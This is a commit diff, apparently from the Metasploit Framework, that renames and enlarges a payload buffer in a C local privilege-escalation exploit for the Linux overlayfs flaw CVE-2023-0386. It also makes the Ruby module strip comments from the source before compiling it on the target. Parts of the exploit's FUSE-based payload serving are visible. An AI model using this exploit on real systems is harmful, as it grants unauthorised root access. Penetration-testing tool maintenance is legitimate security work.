Skip to content

Commit fd7321d

Browse files
committed
Strip_comments
1 parent 72a9164 commit fd7321d

File tree

3 files changed

+7
-7
lines changed

3 files changed

+7
-7
lines changed
40 Bytes
Binary file not shown.

external/source/exploits/CVE-2023-0386/exploit.c

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
#include <unistd.h>
1414
#include <signal.h>
1515

16-
char shell[0x100000];
16+
char SHELL[0x5000000];
1717

1818
#define STR_LENGTH 500
1919
char DIR_BASE[STR_LENGTH];
@@ -43,7 +43,7 @@ static int getattr_callback(const char *path, struct stat *stbuf)
4343
stbuf->st_nlink = 1;
4444
stbuf->st_uid = 0;
4545
stbuf->st_gid = 0;
46-
stbuf->st_size = sizeof(shell);
46+
stbuf->st_size = sizeof(SHELL);
4747
return 0;
4848
}
4949
else if (strcmp(path, "/") == 0)
@@ -82,17 +82,17 @@ static int read_callback(const char *path,
8282
char tmp;
8383
if (strcmp(path, "/file") == 0)
8484
{
85-
size_t len = sizeof(shell);
85+
size_t len = sizeof(SHELL);
8686
if (offset >= len)
8787
return 0;
8888
if ((size > len) || (offset + size > len))
8989
{
90-
memcpy(buf, shell + offset, len - offset);
90+
memcpy(buf, SHELL + offset, len - offset);
9191
return len - offset;
9292
}
9393
else
9494
{
95-
memcpy(buf, shell + offset, size);
95+
memcpy(buf, SHELL + offset, size);
9696
return size;
9797
}
9898
}
@@ -180,7 +180,7 @@ int main(int argc, char const *argv[])
180180
fatal("open payload");
181181
}
182182
int clen = 0;
183-
while (read(fd, shell + clen, 1) > 0)
183+
while (read(fd, SHELL + clen, 1) > 0)
184184
clen++;
185185
close(fd);
186186

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -117,7 +117,7 @@ def exploit
117117

118118
if live_compile?
119119
vprint_status('Live compiling exploit on system...')
120-
upload_and_compile("#{exploit_dir}/cve-2023-0386", exploit_source('CVE-2023-0386', 'exploit.c'), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')
120+
upload_and_compile("#{exploit_dir}/cve-2023-0386", strip_comments(exploit_source('CVE-2023-0386', 'exploit.c')), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')
121121
else
122122
vprint_status('Dropping pre-compiled exploit on system...')
123123
upload_and_chmodx("#{exploit_dir}/cve-2023-0386", exploit_data('CVE-2023-0386', 'cve-2023-0386'))

0 commit comments

Comments
 (0)